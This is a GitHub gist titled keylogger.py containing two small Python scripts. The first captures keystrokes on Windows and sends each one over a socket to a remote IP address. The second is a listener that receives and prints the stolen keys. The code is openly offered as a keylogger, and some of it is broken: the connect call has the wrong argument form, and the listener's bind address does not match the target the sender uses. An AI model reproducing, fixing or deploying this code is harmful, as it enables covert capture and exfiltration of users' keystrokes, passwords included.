Created
August 30, 2016 13:37
-
-
Save JanneSalokoski/003cd46737ad94c27408431cbbf6d051 to your computer and use it in GitHub Desktop.
keylogger.py
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python | |
import socket | |
from msvcrt import getch | |
def get_key(): | |
return ord(getch()) | |
def main(): | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect("10.10.10.228", 8000) | |
while True: | |
s.send(get_key()) | |
s.close() | |
main() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import socket | |
def main(): | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.bind(("127.0.0.1", 8000)) | |
s.listen(1) | |
conn, addr = s.accept() | |
while True: | |
data = conn.recv(20) | |
if not data: break | |
print(data) | |
conn.close() | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment